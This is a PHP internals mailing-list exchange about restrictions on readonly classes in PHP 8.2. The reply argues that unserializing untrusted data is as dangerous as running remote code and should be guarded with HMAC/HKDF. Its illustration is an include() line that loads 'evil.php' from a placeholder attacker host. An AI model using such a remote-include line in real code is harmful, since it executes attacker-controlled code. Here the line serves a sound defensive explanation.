Newsgroups: php.internals Path: news.php.net Xref: news.php.net php.internals:118684 Return-Path: Delivered-To: mailing list internals@lists.php.net Received: (qmail 34710 invoked from network); 22 Sep 2022 02:26:28 -0000 Received: from unknown (HELO php-smtp4.php.net) (45.112.84.5) by pb1.pair.com with SMTP; 22 Sep 2022 02:26:28 -0000 Received: from php-smtp4.php.net (localhost [127.0.0.1]) by php-smtp4.php.net (Postfix) with ESMTP id E5EE1180210 for ; Wed, 21 Sep 2022 19:26:26 -0700 (PDT) X-Spam-Checker-Version: SpamAssassin 3.4.2 (2018-09-13) on php-smtp4.php.net X-Spam-Level: X-Spam-Status: No, score=-1.4 required=5.0 tests=BAYES_00,DKIM_SIGNED, DKIM_VALID,DKIM_VALID_AU,DKIM_VALID_EF,HTML_MESSAGE,SPF_HELO_SOFTFAIL, SPF_PASS,T_SCC_BODY_TEXT_LINE,UNPARSEABLE_RELAY autolearn=no autolearn_force=no version=3.4.2 X-Spam-ASN: AS4713 180.0.0.0/10 X-Spam-Virus: No X-Envelope-From: Received: from mx3.es-i.jp (gw1.es-i.jp [180.42.98.129]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange ECDHE (P-256) server-signature RSA-PSS (2048 bits) server-digest SHA256) (No client certificate requested) by php-smtp4.php.net (Postfix) with ESMTPS for ; Wed, 21 Sep 2022 19:26:25 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ohgaki.net; s=default; h=MIME-Version:References:In-Reply-To: From:Date:Message-ID:Subject:To:Cc:Content-Type; bh=9ZOlQxU7UPR0 2C91dXnk5rVkBjX9goS8Vk7oNlL8am8=; b=GvXL1lin97S9w1HAi6+QA69CkoBq j72v3T1Gr3Gdzb7CAoTF+CFSOHz+IuqXS05R6y9+nPRfO3ZOmtqoWYNFQYTdb6Rz WhbtTZlYQYJP1IFexLDZr7v19g/J0CxF36nN9+zcAZchxf8OuJcGJPC9oaPy9BQ2 C5w3/sxzcpGm75F+uim63p/gY7bPgCjMV9lfiTKHuCe+MivawMSygfXMrBjlRG3i HTASNTxUeppOyyYKcraYQNJKmGe4+JMTPn1lZUyw+6D0KdkTJifej1qSQCM+2SBh C3p7ozDBAMgpABnC+n+Lb8zjrMay25vjTTh83YSPeeZSsy6oKvUQoOetKQ== Received: (qmail 8794 invoked by uid 89); 22 Sep 2022 02:26:21 +0000 Received: from mail-oi1-f181.google.com (yohgaki@ohgaki.net) by mx3.es-i.jp with ESMTPA; 22 Sep 2022 02:26:21 +0000 Received: by mail-oi1-f181.google.com with SMTP id n124so10586644oih.7 for ; Wed, 21 Sep 2022 19:26:21 -0700 (PDT) X-Gm-Message-State: ACrzQf2PXhhQjflp79ydOHYGCSGS/fcT/kmf/QfPw++2SS+gisK19e0G sFnKg+ge/5K6kKi+hTAQwnEcWQk/u6qcbos3xA== X-Google-Smtp-Source: AMsMyM7SOXpw4ag3uFRRa/l/+L+wbRkZ43270UvrO6K8IcVvM3ulPFoaSUKkVful7lDRRpdl3rX4UuRnw8cpBx/gxdQ= X-Received: by 2002:a54:440b:0:b0:350:dfdf:233f with SMTP id k11-20020a54440b000000b00350dfdf233fmr587792oiw.250.1663813577031; Wed, 21 Sep 2022 19:26:17 -0700 (PDT) MIME-Version: 1.0 References: In-Reply-To: Date: Thu, 22 Sep 2022 11:25:41 +0900 X-Gmail-Original-Message-ID: Message-ID: To: Nicolas Grekas Cc: PHP Internals List , =?UTF-8?B?TcOhdMOpIEtvY3Npcw==?= Content-Type: multipart/alternative; boundary="0000000000003b4ac505e93ac912" Subject: Re: [PHP-DEV] Issues with readonly classes From: yohgaki@ohgaki.net (Yasuo Ohgaki) --0000000000003b4ac505e93ac912 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable 2022=E5=B9=B49=E6=9C=883=E6=97=A5(=E5=9C=9F) 2:31 Nicolas Grekas : > Hello everybody, hi Mate > > I played with readonly classes recently, to add support for them to > lazy-loading proxy generation and I struggled upon what I see as serious > issues. > > As noted in the RFC, and because the readonly flag must be set on child > classes, those cannot: > > 1. Declare a new non-readonly property; > 2. Have static properties; > 3. Have dynamic properties. > > I figured out 1. and 2. not by reading the RFC but because I needed those > capabilities in the generated inheritance proxies. > > 1. is the most serious one: being able to declare a non-readonly property > is the only way to implement a cloneable proxy (to be allowed to do > $this->realInstance =3D clone $this->realInstance; in __clone()). I think > there are two ways to solve the use case I have: A. fix the > non-cloneability of readonly props or B. allow child classes to add > non-readonly properties. Because to me this is a serious restriction, A o= r > B should ideally be in 8.2. I think A is a must-have so that might be the > thing to do. But I'm also wondering about B: the RFC doesn't contain any > rationale about why this restriction exists (it says "Similarly how > overriding of readonly properties works", but the similarity is quite wea= k, > readonly props don't apply to other properties of child classes.) If ther= e > is no compelling reason to have this limitation, it should be removed IMH= O. > Basically, this would mean that child classes of readonly classes wouldn'= t > have to be readonly themselves (but the existing properties on the parent > would have to be of course.) > > For 2.: static properties are useful e.g. to cache some shared state (inf= o > extracted from reflection in my case) and I really don't see why readonly > classes should forbid static properties. Readonly is only useful for > instances, because it gives them immutability, but what's the link with > static properties? Note that this is less important than the previous poi= nt > as it's always possible to store shared global state in another class. Bu= t > still, this feels arbitrary to me. > > For 3. I just noted the limitation to be exhaustive, but I'm really fine = if > dynamic properties remain forbidden on child classes. It might be seen as > inconsistent with other classes, but dynamic properties don't have any > purpose anyway since there is always an alternative to them. > > I understand there are good intentions behind these limitations (making P= HP > a stricter language). But here, I feel like this is detrimental to the > language, by making it a minefield of kinda arbitrary dos and don'ts. At > least that's what I feel here. > > Does that make sense to you? Should we remove the limitations I mention? > > Nicolas > PS: About allowing readonly props to be reinitialized during cloning, I > tried https://github.com/php/php-src/pull/9403 but I failed as I can't > make > it work. I'd appreciate any help on the topic. I'd even be happy to close > if someone else would like to work on the topic. Could that be you? > In general, unserializing external serialised data is the same as "Read and execute remote PHP code", i.e. include(' http://attacker.example.com/evil.php'); (Executing arbitrary code via memory corruption is trivial task with unserialize()) Therefore, developers must validate serialized data integrity at least with HMAC always, so that serialized data is generated by trustworthy systems (your servers usually. Since HMAC does not have forward security, HKDF with expiration info is recommended.) If these restrictions are for security, then these restrictions won't protect anything. If these are for misuse protections, then these would be "nice to have". Just my .02 --0000000000003b4ac505e93ac912--